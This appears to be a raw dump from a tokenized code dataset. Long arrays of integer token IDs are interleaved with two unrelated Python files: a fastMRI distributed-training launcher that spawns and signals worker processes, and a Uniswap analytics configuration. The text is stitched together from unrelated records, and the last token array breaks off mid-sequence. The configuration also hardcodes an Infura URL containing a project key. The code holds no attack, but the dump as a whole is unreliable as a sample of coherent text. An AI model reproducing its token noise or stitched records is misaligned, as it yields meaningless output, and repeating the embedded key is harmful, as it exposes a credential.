2933,
29889,
7620,
580,
13,
13,
1678,
565,
12428,
29889,
2303,
6040,
29889,
657,
877,
10493,
29918,
25866,
1001,
1001,
29374,
13,
4706,
736,
9056,
5103,
24735,
29898,
7971,
29889,
2303,
6040,
29889,
657,
877,
10493,
29918,
25866,
1001,
1001,
8785,
13,
1678,
1683,
29901,
13,
4706,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
2582,
29918,
7638,
29898,
7971,
29892,
1178,
1125,
13,
1678,
883,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
333,
29897,
13,
1678,
12428,
29918,
1482,
353,
12428,
29889,
7194,
29889,
657,
877,
1482,
742,
27255,
13,
13,
1678,
396,
6204,
278,
9056,
5103,
1203,
411,
278,
8210,
16874,
4839,
29889,
13,
1678,
1732,
29918,
5327,
353,
9056,
5103,
29898,
3051,
29918,
1853,
2433,
726,
29914,
7638,
1495,
13,
1678,
1732,
29918,
5327,
1839,
3916,
29899,
4205,
3283,
2033,
353,
525,
14930,
358,
29936,
10422,
543,
9902,
29889,
7638,
29908,
29915,
13,
13,
1678,
9227,
353,
11799,
29889,
13236,
29898,
1124,
29918,
5327,
29897,
13,
1678,
11073,
353,
518,
8945,
675,
29898,
2671,
29889,
1643,
29897,
363,
1746,
297,
883,
29889,
2671,
29918,
842,
29889,
497,
580,
29962,
13,
1678,
11073,
29889,
7851,
29898,
29900,
29892,
376,
2539,
29914,
2481,
1159,
13,
1678,
565,
883,
29889,
15914,
29918,
7193,
29901,
13,
4706,
11073,
29889,
7851,
29898,
29900,
29892,
376,
2659,
1159,
13,
1678,
9227,
29889,
13236,
340,
29898,
21134,
29897,
13,
1678,
565,
12428,
29918,
1482,
2804,
525,
2396,
13,
4706,
363,
2933,
297,
883,
29889,
5327,
29918,
842,
29889,
4572,
29898,
1279,
2347,
29922,
8824,
1125,
13,
9651,
848,
353,
518,
8945,
675,
29898,
2671,
29918,
5327,
29889,
1767,
29897,
13,
462,
1678,
363,
1746,
29918,
5327,
13,
462,
1678,
297,
2933,
29889,
2671,
5327,
29918,
842,
29889,
497,
580,
29962,
13,
9651,
848,
29889,
7851,
29898,
29900,
29892,
2933,
29889,
1491,
6737,
29918,
1256,
29897,
13,
9651,
565,
883,
29889,
15914,
29918,
7193,
29901,
13,
18884,
565,
2933,
29889,
1792,
29901,
13,
462,
1678,
848,
29889,
7851,
29898,
29900,
29892,
4226,
675,
29898,
5327,
29889,
1792,
29889,
4102,
29918,
978,
29897,
718,
525,
525,
718,
13,
462,
18884,
4226,
675,
29898,
5327,
29889,
1792,
29889,
4230,
29918,
978,
876,
13,
18884,
1683,
29901,
13,
462,
1678,
848,
29889,
7851,
29898,
29900,
29892,
376,
25772,
1159,
13,
9651,
9227,
29889,
13236,
340,
29898,
1272,
29897,
13,
1678,
1683,
29901,
13,
4706,
363,
2933,
297,
883,
29889,
5327,
29918,
842,
29889,
497,
7295,
13,
9651,
396,
910,
15894,
263,
11417,
5858,
515,
385,
10888,
11367,
3234,
13,
9651,
396,
2610,
864,
304,
367,
901,
269,
3021,
4695,
630,
1048,
8025,
13,
9651,
848,
353,
518,
8945,
675,
29898,
2671,
29918,
5327,
29889,
1767,
29897,
13,
462,
1678,
363,
1746,
29918,
5327,
13,
462,
1678,
297,
2933,
29889,
2671,
5327,
29918,
842,
29889,
497,
580,
29962,
13,
9651,
848,
29889,
7851,
29898,
29900,
29892,
2933,
29889,
1491,
6737,
29918,
1256,
29897,
13,
9651,
565,
883,
29889,
15914,
29918,
7193,
29901,
13,
18884,
565,
2933,
29889,
1792,
29901,
13,
462,
1678,
848,
29889,
7851,
29898,
29900,
29892,
4226,
675,
29898,
5327,
29889,
1792,
29889,
4102,
29918,
978,
29897,
718,
525,
525,
718,
13,
462,
18884,
4226,
675,
29898,
5327,
29889,
1792,
29889,
4230,
29918,
978,
876,
13,
18884,
1683,
29901,
13,
462,
1678,
848,
29889,
7851,
29898,
29900,
29892,
376,
25772,
1159,
13,
9651,
9227,
29889,
13236,
340,
29898,
1272,
29897,
13,
13,
1678,
736,
1732,
29918,
5327,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
29992,
12277,
29918,
5438,
13,
1753,
5217,
29898,
7971,
29892,
1178,
1125,
13,
1678,
883,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
333,
29897,
13,
1678,
883,
29889,
8143,
580,
13,
1678,
788,
29918,
4906,
29898,
7971,
29892,
7191,
29889,
11690,
29892,
376,
10858,
883,
471,
11132,
23157,
13,
1678,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
29992,
12277,
29918,
5438,
13,
1753,
7929,
29898,
7971,
29892,
1178,
1125,
13,
1678,
883,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
333,
29897,
13,
1678,
883,
29889,
20908,
5926,
580,
13,
1678,
788,
29918,
4906,
29898,
7971,
29892,
7191,
29889,
11690,
29892,
376,
10858,
883,
471,
5141,
9169,
23157,
13,
1678,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
2
] |
banding_removal/fastmri/spawn_dist.py | sbhadra2020/fastMRI | 3 | 153663 | <reponame>sbhadra2020/fastMRI
#from __future__ import print_function
import argparse
import pickle
import os
import pdb
import signal
import warnings
import time
from time import sleep
import sys
sys.path.append(sys.path[0] + "/..")
__package__ = "fastmri"
import multiprocessing
import subprocess
from .args import Args
def work(info):
rank, ntasks, args = info
# This must be imported here, in the child process, not globally.
from .run import run as run_task
os.environ['RANK'] = str(rank)
os.environ['WORLD_SIZE'] = str(ntasks)
run_task(args)
def run(args=None, ntasks=None):
if args is None:
args = Args().parse_args()
if isinstance(args, dict):
args = Args(**args).parse_args()
# Some automatic ntask settings code
if ntasks is None:
try:
devices = os.environ['CUDA_VISIBLE_DEVICES']
ntasks = len(devices.split(','))
except:
try:
ntasks = int(os.popen("nvidia-smi -L | wc -l").read())
except:
ntasks = 2
args.is_distributed = True
# Temp ignore for bug in pytorch dataloader, it leaks semaphores
os.environ['PYTHONWARNINGS'] = 'ignore:semaphore_tracker:UserWarning,ignore::UserWarning'
# Make this process the head of a process group.
os.setpgrp()
# Most important line in this file. CUDA fails horribly if we use the default fork
multiprocessing.set_start_method('forkserver')
processses = []
for i in range(ntasks):
p = multiprocessing.Process(target=work, args=[(i, ntasks, args)])
p.start()
if args.strace:
# Addtional Monitoring process
subprocess.Popen(["strace", "-tt" ,
"-o", f"{args.exp_dir}/strace_{i}.log",
"-e", "trace=write", "-s256",
"-p", f"{p.pid}"])
processses.append(p)
def terminate(signum, frame):
# Try terminate first
print("terminating child processes")
sys.stdout.flush()
for i, p in enumerate(processses):
if p.is_alive():
p.terminate()
# Wait a little
for i in range(20):
if any(p.is_alive() for p in processses):
sleep(0.1)
## If they are still alive after that kill -9 them
for i, p in enumerate(processses):
if p.is_alive():
print(f"Sending SIGKILL to process {i}")
sys.stdout.flush()
os.kill(p.pid, signal.SIGKILL)
print("exiting")
sys.stdout.flush()
sys.exit(0)
if args.auto_requeue:
def forward_usr1_signal(signum, frame):
print(f"Received USR1 signal in spawn_dist", flush=True)
for i, p in enumerate(processses):
if p.is_alive():
os.kill(p.pid, signal.SIGUSR1)
def forward_term_signal(signum, frame):
print(f"Received SIGTERM signal in spawn_dist", flush=True)
for i, p in enumerate(processses):
if p.is_alive():
os.kill(p.pid, signal.SIGTERM)
# For requeing we need to ignore SIGTERM, and forward USR1
signal.signal(signal.SIGUSR1, forward_usr1_signal)
signal.signal(signal.SIGTERM, forward_term_signal)
signal.signal(signal.SIGINT, terminate)
else:
signal.signal(signal.SIGINT, terminate)
signal.signal(signal.SIGTERM, terminate)
while True:
sleep(0.5)
if any(not p.is_alive() for p in processses):
print("Detected an exited process, so exiting main")
terminate(None, None)
print("DONE")
if __name__ == "__main__":
run()
| [
1,
529,
276,
1112,
420,
29958,
20778,
21312,
336,
29906,
29900,
29906,
29900,
29914,
11255,
29924,
3960,
13,
29937,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
5215,
1852,
5510,
13,
5215,
5839,
280,
13,
5215,
2897,
13,
5215,
282,
2585,
13,
5215,
7182,
13,
5215,
18116,
13,
5215,
931,
13,
3166,
931,
1053,
8709,
13,
13,
5215,
10876,
13,
9675,
29889,
2084,
29889,
4397,
29898,
9675,
29889,
2084,
29961,
29900,
29962,
718,
5591,
636,
1159,
13,
1649,
5113,
1649,
353,
376,
11255,
29885,
374,
29908,
13,
13,
5215,
6674,
307,
985,
292,
13,
5215,
1014,
5014,
13,
3166,
869,
5085,
1053,
826,
3174,
13,
13,
1753,
664,
29898,
3888,
1125,
13,
1678,
7115,
29892,
302,
20673,
29892,
6389,
353,
5235,
13,
1678,
396,
910,
1818,
367,
19673,
1244,
29892,
297,
278,
2278,
1889,
29892,
451,
13149,
635,
29889,
13,
1678,
515,
869,
3389,
1053,
1065,
408,
1065,
29918,
7662,
13,
1678,
2897,
29889,
21813,
1839,
29934,
2190,
29968,
2033,
353,
851,
29898,
10003,
29897,
13,
1678,
2897,
29889,
21813,
1839,
11686,
10249,
29918,
14226,
2033,
353,
851,
29898,
593,
1278,
29879,
29897,
13,
1678,
1065,
29918,
7662,
29898,
5085,
29897,
13,
13,
1753,
1065,
29898,
5085,
29922,
8516,
29892,
302,
20673,
29922,
8516,
1125,
13,
1678,
565,
6389,
338,
6213,
29901,
13,
4706,
6389,
353,
826,
3174,
2141,
5510,
29918,
5085,
580,
13,
1678,
565,
338,
8758,
29898,
5085,
29892,
9657,
1125,
13,
4706,
6389,
353,
826,
3174,
29898,
1068,
5085,
467,
5510,
29918,
5085,
580,
13,
13,
1678,
396,
3834,
18428,
302,
7662,
6055,
775,
13,
1678,
565,
302,
20673,
338,
6213,
29901,
13,
4706,
1018,
29901,
13,
9651,
9224,
353,
2897,
29889,
21813,
1839,
29907,
29965,
7698,
29918,
28607,
8979,
1307,
29918,
2287,
29963,
2965,
2890,
2033,
13,
9651,
302,
20673,
353,
7431,
29898,
3359,
1575,
29889,
5451,
29898,
3788,
876,
13,
4706,
5174,
29901,
13,
9651,
1018,
29901,
13,
18884,
302,
20673,
353,
938,
29898,
359,
29889,
29886,
3150,
703,
29876,
28584,
29899,
29879,
2460,
448,
29931,
891,
28678,
448,
29880,
2564,
949,
3101,
13,
9651,
5174,
29901,
13,
18884,
302,
20673,
353,
29871,
29906,
13,
13,
1678,
6389,
29889,
275,
29918,
5721,
7541,
353,
5852,
13,
1678,
396,
21121,
11455,
363,
6494,
297,
282,
3637,
25350,
1418,
7003,
1664,
29892,
372,
454,
10327,
3031,
481,
2015,
267,
13,
1678,
2897,
29889,
21813,
1839,
20055,
4690,
1164,
29956,
25614,
29903,
2033,
353,
525,
17281,
29901,
12846,
12451,
487,
29918,
3018,
4937,
29901,
2659,
22709,
29892,
17281,
1057,
2659,
22709,
29915,
13,
13,
1678,
396,
8561,
445,
1889,
278,
2343,
310,
263,
1889,
2318,
29889,
13,
1678,
2897,
29889,
842,
29886,
629,
29886,
580,
13,
13,
1678,
396,
7849,
4100,
1196,
297,
445,
934,
29889,
315,
29965,
7698,
8465,
4029,
1091,
368,
565,
591,
671,
278,
2322,
27350,
13,
1678,
6674,
307,
985,
292,
29889,
842,
29918,
2962,
29918,
5696,
877,
29888,
548,
2974,
1495,
13,
13,
1678,
1889,
29879,
267,
353,
5159,
13,
1678,
363,
474,
297,
3464,
29898,
593,
1278,
29879,
1125,
13,
4706,
282,
353,
6674,
307,
985,
292,
29889,
7032,
29898,
5182,
29922,
1287,
29892,
6389,
11759,
29898,
29875,
29892,
302,
20673,
29892,
6389,
29897,
2314,
13,
4706,
282,
29889,
2962,
580,
13,
13,
4706,
565,
6389,
29889,
4151,
346,
29901,
13,
9651,
396,
3462,
29873,
1848,
2598,
2105,
292,
1889,
13,
9651,
1014,
5014,
29889,
29925,
3150,
29898,
3366,
4151,
346,
613,
11663,
698,
29908,
1919,
29871,
13,
18884,
11663,
29877,
613,
285,
29908,
29912,
5085,
29889,
4548,
29918,
3972,
6822,
4151,
346,
648,
29875,
1836,
1188,
613,
29871,
13,
18884,
11663,
29872,
613,
376,
15003,
29922,
3539,
613,
11663,
29879,
29906,
29945,
29953,
613,
29871,
13,
18884,
11663,
29886,
613,
285,
29908,
29912,
29886,
29889,
5935,
5038,
2314,
13,
13,
4706,
1889,
29879,
267,
29889,
4397,
29898,
29886,
29897,
13,
13,
1678,
822,
29504,
29898,
4530,
398,
29892,
3515,
1125,
13,
4706,
396,
3967,
29504,
937,
13,
4706,
1596,
703,
18821,
1218,
2278,
10174,
1159,
13,
4706,
10876,
29889,
25393,
29889,
23126,
580,
13,
4706,
363,
474,
29892,
282,
297,
26985,
29898,
5014,
29879,
267,
1125,
13,
9651,
565,
282,
29889,
275,
29918,
284,
573,
7295,
13,
18884,
282,
29889,
18821,
403,
580,
13,
13,
4706,
396,
20340,
263,
2217,
13,
4706,
363,
474,
297,
3464,
29898,
29906,
29900,
1125,
13,
9651,
565,
738,
29898,
29886,
29889,
275,
29918,
284,
573,
580,
363,
282,
297,
1889,
29879,
267,
1125,
13,
18884,
8709,
29898,
29900,
29889,
29896,
29897,
13,
13,
4706,
444,
960,
896,
526,
1603,
18758,
1156,
393,
12088,
448,
29929,
963,
13,
4706,
363,
474,
29892,
282,
297,
26985,
29898,
5014,
29879,
267,
1125,
13,
9651,
565,
282,
29889,
275,
29918,
284,
573,
7295,
13,
18884,
1596,
29898,
29888,
29908,
29903,
2548,
317,
6259,
29968,
24071,
304,
1889,
426,
29875,
27195,
13,
18884,
10876,
29889,
25393,
29889,
23126,
580,
13,
18884,
2897,
29889,
21174,
29898,
29886,
29889,
5935,
29892,
7182,
29889,
5425,
29954,
29968,
24071,
29897,
13,
13,
4706,
1596,
703,
735,
11407,
1159,
13,
4706,
10876,
29889,
25393,
29889,
23126,
580,
13,
4706,
10876,
29889,
13322,
29898,
29900,
29897,
13,
13,
13,
1678,
565,
6389,
29889,
6921,
29918,
276,
9990,
29901,
13,
4706,
822,
6375,
29918,
4855,
29896,
29918,
25436,
29898,
4530,
398,
29892,
3515,
1125,
13,
9651,
1596,
29898,
29888,
29908,
29816,
3148,
29934,
29896,
7182,
297,
29178,
29918,
5721,
613,
28371,
29922,
5574,
29897,
13,
9651,
363,
474,
29892,
282,
297,
26985,
29898,
5014,
29879,
267,
1125,
13,
18884,
565,
282,
29889,
275,
29918,
284,
573,
7295,
13,
462,
1678,
2897,
29889,
21174,
29898,
29886,
29889,
5935,
29892,
7182,
29889,
5425,
29954,
3308,
29934,
29896,
29897,
13,
308,
13,
4706,
822,
6375,
29918,
8489,
29918,
25436,
29898,
4530,
398,
29892,
3515,
1125,
13,
9651,
1596,
29898,
29888,
29908,
29816,
317,
6259,
4945,
29924,
7182,
297,
29178,
29918,
5721,
613,
28371,
29922,
5574,
29897,
13,
9651,
363,
474,
29892,
282,
297,
26985,
29898,
5014,
29879,
267,
1125,
13,
18884,
565,
282,
29889,
275,
29918,
284,
573,
7295,
13,
462,
1678,
2897,
29889,
21174,
29898,
29886,
29889,
5935,
29892,
7182,
29889,
5425,
29954,
4945,
29924,
29897,
13,
13,
4706,
396,
1152,
337,
802,
292,
591,
817,
304,
11455,
317,
6259,
4945,
29924,
29892,
322,
6375,
3148,
29934,
29896,
13,
4706,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
3308,
29934,
29896,
29892,
6375,
29918,
4855,
29896,
29918,
25436,
29897,
13,
4706,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
4945,
29924,
29892,
6375,
29918,
8489,
29918,
25436,
29897,
13,
4706,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
10192,
29892,
29504,
29897,
13,
13,
1678,
1683,
29901,
13,
4706,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
10192,
29892,
29504,
29897,
13,
4706,
7182,
29889,
25436,
29898,
25436,
29889,
5425,
29954,
4945,
29924,
29892,
29504,
29897,
13,
13,
1678,
1550,
5852,
29901,
13,
4706,
8709,
29898,
29900,
29889,
29945,
29897,
13,
4706,
565,
738,
29898,
1333,
282,
29889,
275,
29918,
284,
573,
580,
363,
282,
297,
1889,
29879,
267,
1125,
13,
9651,
1596,
703,
6362,
26458,
385,
429,
1573,
1889,
29892,
577,
6876,
292,
1667,
1159,
13,
9651,
29504,
29898,
8516,
29892,
6213,
29897,
13,
13,
1678,
1596,
703,
29928,
12413,
1159,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1065,
580,
13,
2
] |
uniswap/config.py | amis-erc20/uniswap-analytics | 0 | 169846 | <gh_stars>0
import json
import os
from multiprocessing.pool import ThreadPool
from web3 import Web3, IPCProvider
from custom_http_provider import CustomHTTPProvider
INFURA_ADDRESS = 'https://mainnet.infura.io/v3/4facf9a657054a2287e6a4bec21046a3'
DEFAULT_REQUEST_TIMEOUT = 30
web3_infura = Web3(CustomHTTPProvider(endpoint_uri=INFURA_ADDRESS, request_kwargs={'timeout': DEFAULT_REQUEST_TIMEOUT}))
web3 = Web3(IPCProvider())
ETH = 10 ** 18
UNISWAP_BEGIN_BLOCK = 6627917
HISTORY_BEGIN_BLOCK = 6628000
HISTORY_CHUNK_SIZE = 5000
CURRENT_BLOCK = web3.eth.blockNumber
LOGS_BLOCKS_CHUNK = 1000
THREADS = 8
pool = ThreadPool(THREADS)
with open('abi/uniswap_factory.abi') as in_f:
UNISWAP_FACTORY_ABI = json.load(in_f)
with open('abi/uniswap_exchange.abi') as in_f:
UNISWAP_EXCHANGE_ABI = json.load(in_f)
with open('abi/erc_20.abi') as in_f:
ERC_20_ABI = json.load(in_f)
with open('abi/str_erc_20.abi') as in_f:
STR_ERC_20_ABI = json.load(in_f)
with open('abi/str_caps_erc_20.abi') as in_f:
STR_CAPS_ERC_20_ABI = json.load(in_f)
UNISWAP_FACTORY_ADDRESS = '0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95'
uniswap_factory = web3.eth.contract(abi=UNISWAP_FACTORY_ABI, address=UNISWAP_FACTORY_ADDRESS)
HARDCODED_INFO = {
'0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A': ('DGD', 'DGD', 9),
'0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413': ('TheDAO', 'TheDAO', 16),
}
DIST_DIR = '../dist/uniswap/'
LIQUIDITY_DATA = os.path.join(DIST_DIR, 'data/liquidity.csv')
PROVIDERS_DATA = os.path.join(DIST_DIR, 'data/providers/{}.csv')
ROI_DATA = os.path.join(DIST_DIR, 'data/roi/{}.csv')
VOLUME_DATA = os.path.join(DIST_DIR, 'data/volume/{}.csv')
TOTAL_VOLUME_DATA = os.path.join(DIST_DIR, 'data/total_volume.csv')
TOKENS_DATA = os.path.join(DIST_DIR, 'data/tokens.json')
EVENT_TRANSFER = '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'
EVENT_TOKEN_PURCHASE = '<KEY>'
EVENT_ETH_PURCHASE = '0x7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b353984238705'
EVENT_ADD_LIQUIDITY = '0x06239653922ac7bea6aa2b19dc486b9361821d37712eb796adfd38d81de278ca'
EVENT_REMOVE_LIQUIDITY = '0x0fbf06c058b90cb038a618f8c2acbf6145f8b3570fd1fa56abb8f0f3f05b36e8'
ALL_EVENTS = [EVENT_TRANSFER, EVENT_TOKEN_PURCHASE, EVENT_ETH_PURCHASE, EVENT_ADD_LIQUIDITY, EVENT_REMOVE_LIQUIDITY]
INFOS_DUMP = 'infos.dump'
LAST_BLOCK_DUMP = 'last_block.dump'
GRAPHQL_LOGS_QUERY = '''
{{
logs(filter: {{fromBlock: {fromBlock}, toBlock: {toBlock}, addresses: {addresses}, topics: {topics}}}) {{
data topics transaction {{ block {{ number }} }}
}}
}}'''
GRAPHQL_ENDPOINT = 'http://localhost:8547/graphql'
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
4390,
13,
5215,
2897,
13,
3166,
6674,
307,
985,
292,
29889,
10109,
1053,
10480,
11426,
13,
3166,
1856,
29941,
1053,
2563,
29941,
29892,
5641,
29907,
6980,
13,
13,
3166,
2888,
29918,
1124,
29918,
18121,
1053,
8701,
10493,
6980,
13,
13,
24065,
4574,
29909,
29918,
17744,
26785,
353,
525,
991,
597,
3396,
1212,
29889,
7192,
2002,
29889,
601,
29914,
29894,
29941,
29914,
29946,
17470,
29888,
29929,
29874,
29953,
29945,
29955,
29900,
29945,
29946,
29874,
29906,
29906,
29947,
29955,
29872,
29953,
29874,
29946,
19385,
29906,
29896,
29900,
29946,
29953,
29874,
29941,
29915,
13,
23397,
29918,
16244,
29918,
15307,
12015,
353,
29871,
29941,
29900,
13,
13,
2676,
29941,
29918,
7192,
2002,
353,
2563,
29941,
29898,
7281,
10493,
6980,
29898,
29734,
29918,
5338,
29922,
24065,
4574,
29909,
29918,
17744,
26785,
29892,
2009,
29918,
19290,
3790,
29915,
15619,
2396,
22236,
29918,
16244,
29918,
15307,
12015,
20073,
13,
13,
2676,
29941,
353,
2563,
29941,
29898,
5690,
29907,
6980,
3101,
13,
13,
2544,
29950,
353,
29871,
29896,
29900,
3579,
29871,
29896,
29947,
13,
13,
3904,
3235,
29956,
3301,
29918,
29933,
17958,
29918,
29933,
21339,
353,
29871,
29953,
29953,
29906,
29955,
29929,
29896,
29955,
13,
13,
29950,
9047,
18929,
29918,
29933,
17958,
29918,
29933,
21339,
353,
29871,
29953,
29953,
29906,
29947,
29900,
29900,
29900,
13,
13,
29950,
9047,
18929,
29918,
3210,
3904,
29968,
29918,
14226,
353,
29871,
29945,
29900,
29900,
29900,
13,
13,
22484,
29450,
29918,
29933,
21339,
353,
1856,
29941,
29889,
621,
29889,
1271,
4557,
13,
13,
3927,
10749,
29918,
29933,
21339,
29903,
29918,
3210,
3904,
29968,
353,
29871,
29896,
29900,
29900,
29900,
13,
13,
4690,
16310,
29903,
353,
29871,
29947,
13,
13,
10109,
353,
10480,
11426,
29898,
4690,
16310,
29903,
29897,
13,
13,
2541,
1722,
877,
19266,
29914,
348,
275,
29893,
481,
29918,
14399,
29889,
19266,
1495,
408,
297,
29918,
29888,
29901,
13,
1678,
8291,
3235,
29956,
3301,
29918,
4519,
1783,
18929,
29918,
2882,
29902,
353,
4390,
29889,
1359,
29898,
262,
29918,
29888,
29897,
13,
13,
2541,
1722,
877,
19266,
29914,
348,
275,
29893,
481,
29918,
6543,
29889,
19266,
1495,
408,
297,
29918,
29888,
29901,
13,
1678,
8291,
3235,
29956,
3301,
29918,
5746,
3210,
24336,
29918,
2882,
29902,
353,
4390,
29889,
1359,
29898,
262,
29918,
29888,
29897,
13,
13,
2541,
1722,
877,
19266,
29914,
6269,
29918,
29906,
29900,
29889,
19266,
1495,
408,
297,
29918,
29888,
29901,
13,
1678,
8982,
29907,
29918,
29906,
29900,
29918,
2882,
29902,
353,
4390,
29889,
1359,
29898,
262,
29918,
29888,
29897,
13,
13,
2541,
1722,
877,
19266,
29914,
710,
29918,
6269,
29918,
29906,
29900,
29889,
19266,
1495,
408,
297,
29918,
29888,
29901,
13,
1678,
29486,
29918,
1001,
29907,
29918,
29906,
29900,
29918,
2882,
29902,
353,
4390,
29889,
1359,
29898,
262,
29918,
29888,
29897,
13,
13,
2541,
1722,
877,
19266,
29914,
710,
29918,
29883,
2547,
29918,
6269,
29918,
29906,
29900,
29889,
19266,
1495,
408,
297,
29918,
29888,
29901,
13,
1678,
29486,
29918,
29907,
3301,
29903,
29918,
1001,
29907,
29918,
29906,
29900,
29918,
2882,
29902,
353,
4390,
29889,
1359,
29898,
262,
29918,
29888,
29897,
13,
13,
3904,
3235,
29956,
3301,
29918,
4519,
1783,
18929,
29918,
17744,
26785,
353,
525,
29900,
21791,
29900,
29874,
29946,
29955,
29881,
8263,
29900,
29941,
29946,
29933,
29946,
29900,
29900,
29933,
29946,
29955,
29890,
27838,
29928,
29945,
29943,
687,
27838,
29906,
29953,
29906,
29896,
311,
29953,
29883,
29946,
29881,
29929,
29945,
29915,
13,
13,
348,
275,
29893,
481,
29918,
14399,
353,
1856,
29941,
29889,
621,
29889,
1285,
1461,
29898,
19266,
29922,
3904,
3235,
29956,
3301,
29918,
4519,
1783,
18929,
29918,
2882,
29902,
29892,
3211,
29922,
3904,
3235,
29956,
3301,
29918,
4519,
1783,
18929,
29918,
17744,
26785,
29897,
13,
13,
29950,
17011,
16524,
29928,
29918,
11690,
353,
426,
13,
1678,
525,
29900,
29916,
29923,
29900,
29933,
29955,
29929,
29906,
29955,
29883,
29946,
29874,
29943,
29906,
29941,
29955,
29953,
29945,
29907,
29890,
29945,
29896,
29941,
29896,
29946,
29909,
29900,
29923,
29900,
29945,
29906,
29896,
29909,
29929,
29953,
29946,
29945,
29943,
29900,
29923,
29906,
29909,
2396,
6702,
29928,
29954,
29928,
742,
525,
29928,
29954,
29928,
742,
29871,
29929,
511,
13,
1678,
525,
29900,
29916,
14388,
29929,
12328,
29906,
29946,
29946,
29928,
29955,
29929,
29947,
29896,
29906,
29941,
29888,
2772,
29955,
29947,
29941,
29888,
29907,
29883,
29896,
29907,
29955,
29906,
29881,
29941,
29933,
29890,
29947,
29907,
29896,
29947,
29929,
29946,
29896,
29941,
2396,
6702,
1576,
7698,
29949,
742,
525,
1576,
7698,
29949,
742,
29871,
29896,
29953,
511,
13,
29913,
13,
13,
4571,
1254,
29918,
9464,
353,
525,
6995,
5721,
29914,
348,
275,
29893,
481,
22208,
13,
13,
5265,
29984,
11150,
11937,
29918,
14573,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4571,
1254,
29918,
9464,
29892,
525,
1272,
29914,
28378,
333,
537,
29889,
7638,
1495,
13,
13,
8618,
13044,
23598,
29918,
14573,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4571,
1254,
29918,
9464,
29892,
525,
1272,
29914,
771,
29454,
19248,
1836,
7638,
1495,
13,
13,
1672,
29902,
29918,
14573,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4571,
1254,
29918,
9464,
29892,
525,
1272,
29914,
307,
29875,
19248,
1836,
7638,
1495,
13,
13,
29963,
5607,
29965,
2303,
29918,
14573,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4571,
1254,
29918,
9464,
29892,
525,
1272,
29914,
24623,
19248,
1836,
7638,
1495,
13,
13,
29911,
2891,
1964,
29918,
29963,
5607,
29965,
2303,
29918,
14573,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4571,
1254,
29918,
9464,
29892,
525,
1272,
29914,
7827,
29918,
24623,
29889,
7638,
1495,
13,
13,
4986,
29968,
1430,
29903,
29918,
14573,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4571,
1254,
29918,
9464,
29892,
525,
1272,
29914,
517,
12360,
29889,
3126,
1495,
13,
13,
22240,
3919,
29918,
26813,
20322,
1001,
353,
525,
29900,
29916,
1289,
29888,
29906,
29945,
29906,
328,
29896,
915,
29906,
29883,
29947,
29929,
29890,
29953,
29929,
29883,
29906,
29890,
29900,
29953,
29947,
13801,
29941,
29955,
29947,
1388,
29874,
29929,
29945,
29906,
2291,
29955,
29888,
29896,
29953,
29941,
29883,
29946,
29874,
29896,
29896,
29953,
29906,
29947,
29888,
29945,
29945,
29874,
29946,
2176,
29945,
29906,
29941,
29890,
29941,
1389,
29915,
13,
13,
22240,
3919,
29918,
4986,
29968,
1430,
29918,
29925,
4574,
3210,
8127,
353,
12801,
10818,
16299,
13,
13,
22240,
3919,
29918,
2544,
29950,
29918,
29925,
4574,
3210,
8127,
353,
525,
29900,
29916,
29955,
29888,
29946,
29900,
29929,
29896,
29890,
29946,
29953,
29883,
29941,
29941,
29872,
29929,
29896,
29947,
29874,
29900,
29888,
29941,
7340,
29946,
29906,
29941,
29900,
29955,
29953,
29946,
29896,
29881,
29896,
29955,
1327,
29953,
29955,
29900,
29906,
29929,
29946,
29906,
29955,
29874,
29945,
29941,
29953,
29929,
29872,
29945,
29946,
29890,
29941,
29945,
29941,
29929,
29947,
29946,
29906,
29941,
29947,
29955,
29900,
29945,
29915,
13,
13,
22240,
3919,
29918,
17744,
29918,
5265,
29984,
11150,
11937,
353,
525,
29900,
29916,
29900,
29953,
29906,
29941,
29929,
29953,
29945,
29941,
29929,
29906,
29906,
562,
29955,
915,
29874,
29953,
7340,
29906,
29890,
29896,
29929,
13891,
29946,
29947,
29953,
29890,
29929,
29941,
29953,
29896,
29947,
29906,
29896,
29881,
29941,
29955,
29955,
29896,
29906,
774,
29955,
29929,
29953,
328,
11512,
29941,
29947,
29881,
29947,
29896,
311,
29906,
29955,
29947,
1113,
29915,
13,
13,
22240,
3919,
29918,
1525,
6720,
12064,
29918,
5265,
29984,
11150,
11937,
353,
525,
29900,
29916,
29900,
29888,
1635,
29900,
29953,
29883,
29900,
29945,
29947,
29890,
29929,
29900,
10702,
29900,
29941,
29947,
29874,
29953,
29896,
29947,
29888,
29947,
29883,
29906,
562,
1635,
29953,
29896,
29946,
29945,
29888,
29947,
29890,
29941,
29945,
29955,
29900,
11512,
29896,
5444,
29945,
29953,
8846,
29947,
29888,
29900,
